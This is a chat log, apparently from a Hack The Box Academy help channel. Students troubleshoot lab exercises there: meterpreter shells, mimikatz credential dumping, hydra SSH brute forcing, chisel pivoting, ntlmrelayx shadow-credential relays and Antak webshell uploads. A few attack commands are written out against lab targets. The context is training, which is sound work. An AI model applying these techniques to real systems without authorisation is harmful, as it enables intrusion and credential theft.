[cloud urchin]

yeah meterpreter has staged and non-staged payloads, not all are stable. best to pivot to another process and obtain a stable shell.

[fathom pendant]

just follow the guided instructions for the most part and you'll be fine

[gilded ice]

it was going well until basic commands stopped working. I was trying to use sudo to run a program and it said sudo command not found even though I used it a few minutes earlier to see what sudo commands I had access too

[fathom pendant]

were you in the shell

[gilded ice]

yes

[fathom pendant]

screenshot?

[gilded ice]

I think I should just take the private ssh key and go in that way instead of meterpreter

[fathom pendant]

generally that's the smarter idea

[gilded ice]

Thank you

[fathom pendant]

you just saying things aren't working doesn't really help us, if you provide screenshots it's easier for us to point out where your mistake may be

the guided portion guides you through doing it without msfconsole

[gilded ice]

I didnt have a chance to. I reset the box twice and didnt have it open when you asked for a ss. If it happens again or anything I can take one though

[hollow ibex]

i am stuck at xss phishing when i tried attack on my self all are good but when i give url to victim it shows invalid url so what i do next???

@everyone

[fathom pendant]

that's disabled

also trying to ping everyone in a huge server is just a dick move

just be patient

[hollow ibex]

i tried this task from yesterday but no help

[gilded ice]

@fathom pendant It happened again and I have screenshots. I just spawned in a new instance and target to have everything reset and immediately set up the shell because I knew all the information I needed

[fathom pendant]

shell

this is what I meant by dropping into your shell

[autumn pilot]

You can use the help command to uncover the supported commands in the reverse shell session you established

[fathom pendant]

you have a session; but you're not in the shell

[gilded ice]

I appreciate you so much. Thank you

[ruby whale]

In AD skill assessment II when we ran bloodhound through linux host , it didnt show all user/ info . But when we collect info from the MS01 machine . using same ldapp password we got the results. Why does this difference?

Different results from different machines.

[hollow ibex]

xss isue in sending url can anyone help???

[ruby whale]

Its is the same set sam lab , maybe different perms but not sure what

[fathom pendant]

try changing your approach

you say it's telling you invalid url. are you including the index page in your phishing attempt

[hollow ibex]

iyes

[hoary pulsar]

Module : AD Enum & Attack (Skill Assessment I)
Question : How did you guys found the tp***y clear text password? I tried with hashcat -m 1000 since it is NTLM Hash and used rockyou.txt and other secLists wordlist still can't crack the hash

[ruby whale]

HInt lsa*

[hoary pulsar]

I got the ntlm hash of the user ady using sekurlsa::ekeys / sekurlsa::loggedonPasswords

[fathom pendant]

sometimes passwords can't be cracked

[hollow ibex]

@rustic sage thanks for your good response i now solved it using htb pawnbox but the things that i apply on pawnbox are the same that i apply on my local machine but it did not work its only work in htb pawnbox

[fathom pendant]

then you are likely missing a crucial part; even if you copy/paste there may be some things that you're missing to do in your local machine

[hollow ibex]

@fathom pendant i copy the payload from my liunx history and use it in pawnbox and it works and allso explore the htb forms there some write about pawnbox so i try in pawnbox and it works

[fathom pendant]

¯_(ツ)_/¯

[hoary pulsar]

well the question here is asking for the user's clear text password, so i don't think the "passwords can't be cracked" would be useful no offense.

[fathom pendant]

there's more than one way to obtain cleartext credentials

someone earlier suggested ls*

[soft cedar]

hes trying to tell you to look somewhere else

[hoary pulsar]

noted , I'll try harder but fyi tried lsadump, secrets and wdigest for cleartext password no use (mimikatz tool)

[hoary pulsar]

lmao finally got it, dump was right just need to edit something in the registry lol

[long frost]

Sorry, it was my fault. I forgot to edit sysmon config file so that it logs ImageLoad.

[clear swift]

just this gave me an idea. What if you included characters like what hashcat and other software use to define the patterns. Or somehow engneered it so that it would be impossible to define in the usual software

[fathom pendant]

that's not how it works

by unable to be cracked; i simply mean that it's not in the common wordlists we'd use

[clear swift]

yeah but you could make a literal impossible to crack password for a specific software if it's not possible to define the pattern

or make it so difficult to define the pattern with tons of backslashe

[fathom pendant]

except most hashes have a predefined signature that identifies them

[fathom pendant]

you also don't generate the hashes yourself

an algorithm generates the hashes

[clear swift]

well I have. but its not like im doing this on the daily.

[fathom pendant]

again for the purposes of everyday/common situations: you aren't generating your own hashes out of thin air

you are using an algorithm that uses predefined methods

[clear swift]

wait... isnt that an identical problem though? you define a pattern that defines a pattern

its just a matter of syntax

[fathom pendant]

either way; most hashes have a predefined key identifier

this is referring PURELY to password hashes

not base64 or hex obfuscation

[clear swift]

yeah. would be pretty interesting to make a website that javascript checks so that your password is not in the common patterns they guess

would make your password like +100 points stronger

[fathom pendant]

again it's not a common pattern my dude

[clear swift]

I mean like in a register form

[fathom pendant]

it's a common set of words

and phrases

[clear swift]

the patterns are usually combination of wordlists + brute force

[fathom pendant]

there's also haveibeenpwned

[clear swift]

so like Panda123 will get cracked

[fathom pendant]

and any variation of it

as long as it's following the provided ruleset governed by the site

certain characters are blacklisted in password creation

[clear swift]

but you could design a systme that knows it will not usually check for 2nd upper case so PAnda123 might never get cracked even though its same lenght/difficulty

[fathom pendant]

except that's not how a tool like hashcat works lmao

[clear swift]

it literally is

[fathom pendant]

i'm not gonna argue this with you

[clear swift]

its because you misunderstand what I'm saying lol

[fathom pendant]

likely we're both not understanding each other

[clear swift]

I'm saying you take the default rulesets, and now you create all your passwords so that they dont fall in those

so they will not get cracked

[fathom pendant]

except there's dozens of rulesets that you'd have to account for

this conversation is veering far off-topic

[clear swift]

aye. just interesting idea I had. will probably implement some time. later

[fathom pendant]

and someone can always create their own ruleset that basically invalidates your tool

[clear swift]

yes but your not supposed to have 100% fool proof. 99.999999999% is good enough

[fathom pendant]

that's assuming a lot

the most you can hope for in any software solution like that is 80%

[clear swift]

there's more efficient rulesets that get more matches. so it naturally gravitates to the same ones. there's not much point in very specialized ones (for english)=

[fathom pendant]

either way

not relevant to the channel

[rustic sage]

Hello what about colleagues I want to know where I can practice more about the Hashcat module Cracking password with hascat is that I see that it is a very important topic and there is no miscellany of exercises as more robust to be able to test concepts.

[fathom pendant]

password attacks uses hashcat a fair bit

[paper gust]

unforunately, while i understand what you mean, it isn't nearly as effective as you would expect

[next bronze]

say hashcat 3 times and chick3nman appears 😄

[paper gust]

haha

[clear swift]

do you want to discus on other channel? (i cant join #general yet) i'd really like to hear your take

[paper gust]

is there an off topic somewhere you can access?

[fathom pendant]

reading and following#welcome allows you to access more channels

[clear swift]

i just heard about hackbox thing. I was 99% completed the register but my computer broke xD gotta do again

[fathom pendant]

the only channels available for non-linked accounts are the academy channels, the active ctf channel, and the community help channel afaik

[clear swift]

so i dont even have account for it

lets make new thread

[paper gust]

hmmm, ok, wasnt aware of that

[rustic sage]

jajajajaj

[fathom pendant]

threads aren't enabled in this server

easily abused feature

[lucid sluice]

Am doing the skill assessment for the login brute force and the my machine keep timing out before the brute force is over. 😦 .
i reallly feel like cheating for this exercice.

[rustic sage]

I see that in the module they talk about a little bit of everything but there are no exercises to do to practice the topics with several exercises but only those that they have as such in the questions and in the last section

[clear swift]

well.. in short, why do you think it wouldn't be as effective? Im thinking almost all password cracks are done in bunch with some sort of default settings (site rules permitting)

[rustic sage]

Well, you can cheat but if you do that, study why the execution of the command sometimes happens to me that when I can't and I don't understand the subject, I try to find the reason for the answer seems effective to me

[fathom pendant]

cheating only hurts yourself; try and find out what's failing

are you trying to brute force a service that's painfully slow

is your username/password list just bad

did you skip a step that was taught earlier in the module?

[paper gust]

Out of the box "run rockyou w/ onerule" style attacks will certainly have gaps, and you are right to assume that you could craft passwords to avoid them and even avoid many other "common" wordlists or rules or even combinations thereof. But that's an extremely limited attack scope compared to what is both possible and even what is in "common" use. This concept of crafting passwords that avoid common attack is actually something I like to do from time to time to mess with other crackers, as a bit of a friendly challenge. I will craft a very simple looking password, short and common root and minimal modifications that will be rather difficult to crack with attacks like that to highlight those sorts of gaps. But pretty much every one gets cracked eventually. It may be minutes or perhaps even as much as hours after, but almost never more than that. The "evolution" of attacks, especially for experience crackers will eventually cover so much ground that intentionally avoiding it is incredibly difficult(sorta).

[clear swift]

I meant to take it a step further and enforce such passwords on a web service. So the JS checks that the rule set will not catch it. Instead of arbitrary rules

[paper gust]

With rule stacking, random rule generation, guided rule generation, a huge number of wordlist generation and assembly schemes, etc., you will never avoid everything with a hand crafted scheme like that

[fathom pendant]

then you're breaking out of password cracking

and moving to bruteforcing

[paper gust]

it's FAR easier to make passwords that are 100% uncrackable, by anyone, effectively ever

like, so easy that it trips people up all the time

[fathom pendant]

it's why password managers are great for secure passwords

[paper gust]

right

[fathom pendant]

because they remove the human element of password generation, which is the weakest

[paper gust]

exactly

password cracking is human cracking

[clear swift]

but now you have a single weak point

[cloud urchin]

no password is best

[lucid sluice]

my stpes are as follow

• i created a custom username and password for harry potter using cupp.py and userame_anarchy
• i used sed to reduce the number of pass to meet the password requirement of 8 char min,numbers and special char
  than i hydra -L usename -P password ssh://ip:port -t 4
  i reduce the pass count from 25000 to about 9000

[paper gust]

ehhhh sorta

but the threatmodel that makes a modern pw manager a single point of failure is far beyond what most people are actually likely to ever encounter or even reliably plan for

[fathom pendant]

sounds like it's forcing you to brute ssh

[cloud urchin]

no password is more secure than a password 🙂 https://www.microsoft.com/en-us/security/blog/2023/05/04/how-microsoft-can-help-you-go-passwordless-this-world-password-day/

[paper gust]

lol

[clear swift]

you know what I do. I create a pass phrase but in a language(s) that don't exists but only has a meaning to me so I can remember it. Never write it down, if I have to write it down I burn it and put the ash in multiple different bins (tru story). (end result -> very long pass phrases that can be remembered easy and will never catch on a wordlist)

[fathom pendant]

tokenization is a fun thing

[lucid sluice]

yes the excercice is to brute the ssh

[fathom pendant]

just extend the lab time for a bit; also are you sure you generated the lists properly, and that you followed all pw rules required

i believe that module goes over how to determine those min/max rules

[paper gust]

its so easy to create "uncrackable" passwords, that im honestly shocked at how many people are pushing for killing passwords in favor of systems that move goal posts and usually complicate auth models for minimal if any security benefit

I get the sentiment but it seems rather misguided to me

[fathom pendant]

MFA is also an essential thing in this age

[cloud urchin]

because in reality, people don't use good passwords. they are too lazy and pick convenience over security. it's why you see so much password re-use, why you have dumb passwords like summer2019, 2020, etc.

[paper gust]

even MFA is often implemented in ways that are NOT actually MFA

[clear swift]

how do you realistically do MFA if you say brick your authenticator and now its impossible to restore

[paper gust]

sure, but people can use strong passwords and, better yet, we can secure even weak passwords with minimal effort

[fathom pendant]

when you generate MFA the program also gives the "In case of emergency, use these" backup codes

which is advised to store in a secure/encrypted location

[cloud urchin]

but they won't. have you ever supported any user in IT? lmao. they hate long/convulated/rotating passwords etc.

[clear swift]

but now you're back to square one of having a password that can bypass the Multi factor

[paper gust]

yes and they don't need to be long or convoluted

that's sorta my point, that's a bit of an old and somewhat uninformed model of pw security

[cloud urchin]

but to them anything not in rockyou.txt is long and convoluted

[proven viper]

Hey, I tried out doing the macos fundamentals module, and am I supposed to have access to a Mac somewhere? I only see the pwnbox. Is there something I'm missing?

[fathom pendant]

rotating passwords is actually bad for security

[cloud urchin]

yep

[paper gust]

big asterisk on that one too actually, even though generally it's true

[cloud urchin]

it forces people into those patterns

[proven viper]

there's a question asking to query what version it is, so im assuming i should have access to an environment, but i don't see one. (I have never used academy). Can someone point me in the right direction?

[fathom pendant]

because people often cycle through password1, password2, password3 [password 1 fell off], password1

[lucid sluice]

the only thing that can be extended is the pw box not the target machine

i already know the answer to the question and i can ssh if i wanted to but it annoys me that i did not find it my self

[proven viper]

apologizes if this is a stupid question

[fathom pendant]

above the question: there should be a spawn target button

[paper gust]

yes, rotation can and will cause people to use poor patterns, but that doesn't necessarily make it a bad thing inherently, and there are plenty of places where rotating passwords is not the net-negative a lot of people believe it is

[fathom pendant]

there's also the intro to academy module which i highly recommend so you get used to it

[proven viper]

There is no such button

[clear swift]

Hybrid solution? You have your password[0] + the company rotates you a note with your new password[1] you combine these. So the PW keeps changing but you only worry about 1 of them yourself and no repetation

[proven viper]

the words "spawn target" do not appear anywhere on the page

[fathom pendant]

i'd read the section is it expecting you to use the pwnbox?

what module/section is this?

[proven viper]

there's nothing in the pwnbox related to macos

[fathom pendant]

OH

[proven viper]

graphical interface section of macos fundamentals

[fathom pendant]

it's asking you to give the version of mac running

[proven viper]

there is no Mac

[fathom pendant]

this module requires you to have a MacOS device

(or google a bunch)

[proven viper]

okay so how would it have the specific version number if i'm supposed to bring my own Mac

[paper gust]

I'm not so sure this would solve the issues that it might seem to, especially in the envs where rotation may end up being a net positive thing.

[lucid sluice]

upon inspecting my the list of pass generatd with cupp.py , my pass is indeed in the generated list and so is my username in the username list.
it's simply taking to long to brute force it

[cloud urchin]

it probably just accepts any macos version

[proven viper]

lol

[cloud urchin]

or press the hint button haha

[fathom pendant]

the question could be updated as versions release

[proven viper]

not buying an apple product just to do this module

[cloud urchin]

doesn't mean the user updated their mac though

[lucid sluice]

lol

[fathom pendant]

it pays to read the module summary ¯_(ツ)_/¯

[lucid sluice]

you can use a VM

[fathom pendant]

if you can find a MacOS image

which sharing that would not be legal

[proven viper]

I guess yeah I've never actually tried setting up a macos VM

could be good though, why not

[fathom pendant]

not to mention: you'd have terrible performance

[zenith vigil]

^^

[proven viper]

is it not straightforward?

[zenith vigil]

I have tried virtualising mac

[fathom pendant]

considering Mac is designed for ARM processors; and most systems are AMD processors

[cloud urchin]

it's a mac... ofc it's gonna be slow

[zenith vigil]

the performance is dog shit

its painfully slow

[fathom pendant]

if you're running a Mac on Mac hardware it's fine

the issue lies in using hardware not designed to run a Mac

[zenith vigil]

imo contact support and see if they can give you a refund for the cubes

[fathom pendant]

Macs are designed to run on a separate set of chipset instructions entirely

[proven viper]

nah im going to virtualize it

[fathom pendant]

have fun with 1 minute per frame

[proven viper]

surely its not literally that bad

[fathom pendant]

let me break it down; your vm is needing to translate hardware instructions from a different CPU chipset to another instruction set for a different type of CPU

[zenith vigil]

I was very excited to have a mac vm but I deleted it in less than 5 minutes. It really is that bad (atleast back when I tried it)

[proven viper]

i guess ill get to see how bad it is lol

[lucid sluice]

just buy a mac brother. look at it as an investment in to your future self. 🙂

[zenith vigil]

Good luck

[fathom pendant]

unless they release a MacOS compatible with the AMD chipset

didn't they do a short thing with Intel, or did Intel provide them with ARM chipsets

[clear swift]

Mac didnt use arm, only very recently. But couldn't you sidestep this issue by compiling for the system architecture anyway

[zenith vigil]

I am guessing there are ways to run mac on non mac hardware efficiently (the hackintosh community would know better) but it wasnt worth the effort for me

[fathom pendant]

sounds like some ricing is in the mix there

[cloud urchin]

intel+arm --> m1

[paper gust]

old OS versions and potentially a few modded drivers iirc

and a subset of specifically supported hardware

[zenith vigil]

It isnt worth it for most people at that extent

[paper gust]

yeah, especially if you want recent OS support

[clear swift]

you can get some 4x ARM processors for free from oracle if youi need arm for some reason (server)

[paper gust]

you can also rent apple systems in the cloud

[zenith vigil]

yeah was about to suggest that

[paper gust]

there's a handful of providers that offer essentially mac mini's as a service

[clear swift]

ok is that a joke but.. why woudl

maybe for rendering? Adobe always fucks windows with crashes

[paper gust]

testing and some assorted work like that yeah

[fathom pendant]

^

also devving for Mac is a pain in the ass

[zenith vigil]

I personally know a few app devs who use it for XCode

If a client pays you well and also compensates the server fees, why not?

[fathom pendant]

yep

[clear swift]

could BS more in #general, made the account. if this is not a channel for this

[paper gust]

if you wanted to continue the crafted pw related discussion in there, i'm happy to elaborate on that as needed

though i might have covered your original question already

[haughty void]

module - PASSWORD ATTACKS
section - Pass the Ticket (PtT) from Windows

I can't connect to my target using rdp.

[haughty void]

[15:54:10:675] [4651:4652] [WARN][com.freerdp.crypto] - Certificate verification failure 'self-signed certificate (18)' at stack position 0
[15:54:10:675] [4651:4652] [WARN][com.freerdp.crypto] - CN = MS01.inlanefreight.htb
[15:54:10:077] [4651:4652] [WARN][com.freerdp.core.nla] - SPNEGO received NTSTATUS: STATUS_LOGON_FAILURE [0xC000006D] from server
[15:54:10:077] [4651:4652] [ERROR][com.freerdp.core] - nla_recv_pdu:freerdp_set_last_error_ex ERRCONNECT_LOGON_FAILURE [0x00020014]
[15:54:10:077] [4651:4652] [ERROR][com.freerdp.core.rdp] - rdp_recv_callback: CONNECTION_STATE_NLA - nla_recv_pdu() fail
[15:54:10:077] [4651:4652] [ERROR][com.freerdp.core.transport] - transport_check_fds: transport->ReceiveCallback() - -1

[fathom pendant]

wrap the password in single quotes

$$ is a variable call to get the PID of the current shell

[haughty void]

Thank you!

[fathom pendant]

whenever a password or something contains special characters always wrap it

this sounds like something you should message/email support about my dude

[autumn pilot]

Removing the message as it leaks your IP (doesn't matter if you are using a VPN or whatever)

[smoky snow]

Thanks, I didn't think this through

my friend is also on the same boat btw

like if you're just casually browsing, you get throttle

[fathom pendant]

¯_(ツ)_/¯

could be a connection issue causing repeated requests

[smoky snow]

I cannot even use the chatbot

[fathom pendant]

there's the email

[e-mail]

[smoky snow]

thanks I guess

🙂

[naive turtle]

Hey all, can I DM someone regarding this question?
Visit the URL "https://127.0.0.1:8889/app/index.html#/search/all" and log in using the credentials: admin/password. After logging in, click on the circular symbol adjacent to "Client ID". Subsequently, select the displayed "Client ID" and click on "Collected". Initiate a new collection and gather artifacts labeled as "Windows.KapeFiles.Targets" using the _SANS_Triage configuration. Lastly, examine the collected artifacts and enter the name of the scheduled task that begins with 'A' and concludes with 'g' as your answer.

Ive spent the last 45 minutes just trying to set the configuration for the Hunt, really frustrating for a simple question - Lab is taking 10 seconds for anything to respond

[crystal steeple]

hello im having so much diffuclties in skills assessement I of AD enum&attacks module due to pivoting,i can't transfer chisel to the webshell so i can pivot and rdp to MS01

i also espaced the webshell and got a rev shell but nothing seems to work to transfer the files

the only thing i could've do is netsh and then rdp but im limited to using alot of tools

any help please?

[next bronze]

why can't you transfer?

[rustic sage]

Colleagues I am doing the WPA/ WPA2 password cracking module exercise but at the time of converting the file trace so that it can be read hashcat I have an error with the tool cap2hccapx.bin which tells me that packagesCaptured.pcapng: Invalid pcap header How can I convert the captured packets in another way?

[crystal steeple]

i get error when trying to directly upload chisel to webshell, in the revshell i tried smb, invokewebrequest after launching the uploadserver in my attack host

[left lion]

Hi everyone! Pls help me with task in NTLM Relay Attacks module - Advanced NTLM Relay Attacks Targeting Kerberos section. Task is to relay cjaq’s HTTP NTLM authentication over LDAP to create shadow credentials for jperez user. I’m following the instructions in presented in the section but relay doesn’t work 😦 ntlmrelayx outputs : connection from INLANEFREIGHT.LOCAL\CJAQ@172.16.117.60 controlled, but there are no more targets left. Smb and http servers are OFF in responder.conf respectively

[crystal steeple]

but whenever i do wget its gives me error and chisel doesnt transfer

also tried the other methods but doeesnt seem to work

[next bronze]

what's the error? did you set up the web server right?

[next bronze]

if I remember right you need to use hashcat v6.1.1

what about the other side

[crystal steeple]

also tried python3 -m http-server but didnt work

[paper gust]

hcxpcapngtool

[crystal steeple]

the other side give no error whatever command you put in

so you probably can't say whats happening under the commands i write in ps

[next bronze]

reset the lab, you should be able to transfer with the webshell itself

[crystal steeple]

i'll restart it again for 10th times , did lose a lot of time yesterday and now im still stuck there lol

[crystal steeple]

with the upload file in the webshell itself ?

[next bronze]

yep

both that and wget works, done it lots of times

you might be doing something wrong

[crystal steeple]

i don't think so , at least when trying to upload the files, every other files seems to transfer well, such as rubeus and powerview

but when its come to chisel specefically ... its crashes

[supple aspen]

Hello chat, I'm trying to do "Download the attached file, and find the hex value in 'rax' when we reach the instruction at <_start+16>?" at the INTRO TO ASSEMBLY LANGUAGE. But when download the gdb.zip file i just find a gdb file which is.. the debugger not the binary to analize isn't it?. So.. what do i debbug?

[crystal steeple]

and i get this error

[next bronze]

don't remember running into this, are you supposed to relay to .60? isn't it supposed to be targeting DC if it's ldap?

[next bronze]

the file is called gdb but it's a elf binary

run file gdb and it will tell you what it is

[left lion]

Yea I’m relaying to DC - ntlmrelayx.py -t ldap://INLANEFREIGHT.LOCAL\CJAQ@172.16.117.3 —shadow-credentials —shadow-target jperez <snip> . I’m running commands right from the section materials and it doesn’t work (weird..)

Connection comes from 172.16.117.60

[next bronze]

save it to a different dir, /users/public maybe

[crystal steeple]

yep

i tranfered it via invokewebrequest in my revshell

in different directory and worked

[crystal steeple]

thanks man you always give me good assistance

[hollow ibex]

i completed xss final assessment and get the final flag and its correct is there anymore type of xss in this challege that i can perform to test my skill in xss

[next bronze]

let me test this out

[supple aspen]

Thank you very much! Just completed it 😄

[rustic sage]

This breaks one's head when you don't understand things 😦

[crystal steeple]

hey XreOus can u tell me from where did you get the chisel.exe , mine doesn't work idk why , it throws an error : ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ResourceUnavailable: (:) [], ApplicationFailedException
+ FullyQualifiedErrorId : NativeCommandFailed

wait i think i know why

[next bronze]

did you coerce?

[next bronze]

use ligolo

[crystal steeple]

never used it before lmao

is it easy to use?

i can't transfer the whole chisel directory, i transfer just the executable and the chisel command fails

[next bronze]

hands down the best pivot tool

[next bronze]

you only need the exe

[crystal steeple]

from where you did download it?

maybe im transfering some wrong chisel lol

[crystal steeple]

i need to take a look on this tool then

[next bronze]

github, there's precompiled binaries

[crystal steeple]

searched there but only found the chisel github page provided by HTB

[next bronze]

https://github.com/jpillora/chisel/releases/tag/v1.9.1

[crystal steeple]

there's no chisel.exe should i download the windows version and unzip it

[next bronze]

yes.. it's in the zip

get the amd64 version

[crystal steeple]

transfering ... hope it works

bruuuh finalllyy hahahaha

lets goo thank you man a lott

[left lion]

Nope, I missed it in instructions in section… Following the instructions I’ll coerce connection from computer account am I right? Don’t u mind if I ask you in DM?

[next bronze]

yeah

I don't really have much to add, just follow the steps in the module

you can coerce from any account, doesn't have to be a machine account

[left lion]

Maybe someone who passed this module in chat can help?

[next bronze]

huh? I have done it

[left lion]

[dim wolf]

are you having trouble with the question or the lab environment?

[naive turtle]

I was having issues with the lab being incredibly slow but ended up getting there after over an hour. I just wanted to cross check what I was doing was on the right track

[dim wolf]

if the lab is slow try switching VPN location

[marsh echo]

hey for brute forcing i dont find a sam password

and i made this order hydra ssh://10.129.82.96 -l sam -P mut_password.list but nothing :/

https://academy.hackthebox.com/module/147/section/1391

[cedar yew]

Hello guys i need help,

Module : Shell & Payloads
Seciton: Web Shell - Antak Webshell

my problem : I uploaded my file to the system, but it asks for a username and password to log in, I cannot find this login information.

i try htb-student but didnt work

[marsh echo]

cp /usr/share/nishang/Antak-WebShell/antak.aspx upload_antak.aspx
and user : htb-student mdp : htb-student

into upload_antak.aspx

before upload filee modify this section

[cedar yew]

im trying thanks

[cedar yew]

its work thanks

[marsh echo]

😉

[echo forge]

anyone needing some help on Bypassing CSRF Tokens via CORS Misconfigurations can dm me, glad to help... tricky exercise

[marsh echo]

anyone for my problem ?

[late galleon]

anybody interested in studying for OSCP dm me

[next bronze]

@haughty stirrup

[silver iris]

Did you find the answer? I have the same issue

[fathom pendant]

i mean they were working on the skill exam for that module last i checked

so unless they skipped it

[fathom pendant]

the powershell command is correct; you can specify the group name in the "Identity" field btw

instead of *

the reason it appears like it's freezing is because it's searching the user's rights over every identity in the Domain

[silver iris]

Ah i see, i got it, thanks a lot 🙂 Is there a way i can see this in bloodhound?

[fathom pendant]

not that I can think of off the top of my head

the Info you get from BH is the generic term for the rights abuse

[silver iris]

I see, but that should not matter to much for the attack itself right?

[fathom pendant]

well as you'll see when you retrieve the info, it's not as black/white as you think

there's a specific reason it has you retrieve that right info

[silver iris]

Ok, thats good enough for me right now. I will keep going and see if i got it. Thanks for the help so far 🙂

[fathom pendant]

it can take a few minutes to get the info

so don't be discouraged by it taking a while

patience is the name of the game

[marsh echo]

i need help for my problem plz https://academy.hackthebox.com/module/147/section/1391

[solar grove]

Title : Web Cache Poisoning
Try to use what you learned in this section to poison the cache and obtain the admin user's password. NOTE: The lab may take a couple of minutes to start up. Use the local vhost interactsh.local to exfiltrate data (refer to the Password Reset Poisoning section for more details). The cache expires after 2 minutes, so if you accidentally cached an incorrect payload, wait for 2 minutes until the cache expires.

I am stuck on this question, should we use any script or should I solve it by making changes on the host address and X-Host: please help

[fathom pendant]

Don't attack ssh

[acoustic owl]

Have another look in the module. It explains how you can poison the cache

[marsh echo]

smb ?

[fathom pendant]

scan the target for open services

[marsh echo]

i scan i find smb and ftp but always nothing

[fathom pendant]

well attack one of those

it'll be almost 1000x better than attacking ssh

I know what they're working on, and it's not anonymous logins

this is the password attacks module

specifically the password mutations section, where you're tasked with creating the mutated wordlist then bruteforcing sam's password

[echo sage]

would anyone help me with the "Rapid Triage Examination & Analysis Tools" section of the SOC analyst path? I'm stuck since almost a week with the first question on determining the new name of uninstall.exe with zone.identifier information.

[fathom pendant]

so have I lol

which is why I said, Don't attack SSH

[marsh echo]

as i said i attacked but nothing happened

[fathom pendant]

your password list is incorrect

[marsh echo]

i use ```hashcat --force Password-Attacks/password.list -r custom-rule --stdout | sort -u > password.list

[fathom pendant]

yes

you're meant to ALSO use the custom.rule from the password-attacks resources

not the weird little ruleset they demonstrate in the section

[marsh echo]

ahhh

[fathom pendant]

the full wordlist is 94044 words long

[marsh echo]

wait

[fathom pendant]

also save it to a mut_password.list

as the section demonstrates the command should be outputting to a mut_password.list

it also helps others determine your issues if you use the convention set by the module

[marsh echo]

I use custom rules in the section, I think that's why it doesn't work.

[limpid hemlock]

In the password attacks hard lab any clue on getting in the target. They only give us an target ip no other details here

[fathom pendant]

start with the beginning, enumerate

<@&861185840277487616>

read #rules

[fathom pendant]

again you're meant to use the custom.rules from the resources

there's a custom.rules in the Password-attacks.zip

[torpid cove]

Guys, I need help with the "Getting Started" module, can't login ssh, everytime I try, I get "permission denied (publickey)"

I'm using a VPN based connection to learn privately on my kali-linux and it is successfully connected

[marsh echo]

thx a lot

[acoustic owl]

@proud crane For help with your social media account, please contact the corresponding support team. Anything else is illegal and will not be tolerated here

[fathom pendant]

well, permission denied (publickey) means that the intended method is an rsa key, if you're doing the section that gives you a public ip and port you need to specify the given port with -p

[torpid cove]

I'll just start right from the 1st Tier 0 module and continue accordingly
I guess I need everybit of knowledge fr

[fathom pendant]

The getting-started module is (relatively) basic

If you provide the section name you can get more help by providing more info on what you're doing

[crystal steeple]

Its because your private key doesn’t have the necessary permission

Did you chmod +600 id_rsa?

[fathom pendant]

If the key didn't have the right permissions there'd be a different error entirely

[rustic sage]

Comrades, I need help is that I don't understand the question because I don't see the hash as such or I don't understand what it asks for --> What is the cleartext password value for the NetNTLMv2 hash?

[fathom pendant]

You're meant to crack the hash that you get

https://hashcat.net/wiki/doku.php?id=example_hashes

[rustic sage]

I think the hash to be obtained is the one in the example as such or am I wrong ?

[fathom pendant]

The method to obtain it is from the examples

[fathom pendant]

It also helps if you inform us which module and section you're working on

Most of the time however, it's read and follow the methods from the section

Targeting the spawned target

[rustic sage]

Skills Assessment --> cracking passwords with hashcat

[fathom pendant]

Then use whatever method you learned to obtain the hash

Then crack it

Skill assessments don't generally use the same info as the examples

But the methods are the same

[rustic sage]

If I'm looking at the notes and they get the hash from a sqladmin and the method starts there, then that's where I say what my starting point is

Thanks

I hadn't read the scenario as such

[torpid cove]

I have tried to edit the sshd_config file, still nothing

[fathom pendant]

Skill assessments, and the sections as a whole, are generally separate

[fathom pendant]

Not necessary

What section are you doing?

None of the sections in the getting-started module require editing the sshd_config file [or for you to run ssh on your device]

[rustic sage]

@fathom pendant It's just that I hadn't read the scenario as such of the exercise you propose, so I got lost and I went back to review the syllabus and I had the hash to decipher and I found the answer

[torpid cove]

Getting Started

[fathom pendant]

That's the module name

[torpid cove]

Privilege Escalation exercise require me to login to an external user using ssh and get a flag

[fathom pendant]

Is it giving you a public ip and port?

As I said earlier

You need to specify the port

[torpid cove]

Yeah and it also gives me the username and password to login to the ssh

[fathom pendant]

Ssh defaults to port 22 if you don't specify the port

[marsh echo]

it's normal that it's been 2 hours and you haven't found anything, do you have this amount of time?

[fathom pendant]

Shouldnt take more than 30 minutes

Try with less threads

And/or restart the lab

[marsh echo]

ok i try it

[quasi hawk]

Hey, looking for advice on the nibbles initial foothold in the getting started module. Still pretty new at this. I am able to upload my payload as if it were an image but cannot get NetCat to successfully connect to my reverse shell. I have made sure that my php script is exactly the same as the example in the lesson except have replaced the ip address with my VPN tun0 address. Been at this for a couple hours now and could use some help.

[torpid cove]

Port 22 is the only running port shown that is running ssh when I scanned the target

[fathom pendant]

It's not

And you don't need to scan it

You are given an ip and port to use

[torpid cove]

But the instruction does not include the port

[fathom pendant]

The instructions only tell you the port if its static

Since this module uses a public docker container, it's using a specific port which it gives you

Ip:port

To specify the port with ssh you need to add -p

[next bronze]

if it's Getting Started - Privilege Escalation, it does tell you to use the port

[fathom pendant]

Also yea

[next bronze]

SSH into the server above with the provided credentials, and use the '-p xxxxxx' to specify the port shown above.

[fathom pendant]

Just checked

[torpid cove]

I will try that when I'm back with my computer

[torpid cove]

Alright, I guess I'm not too careful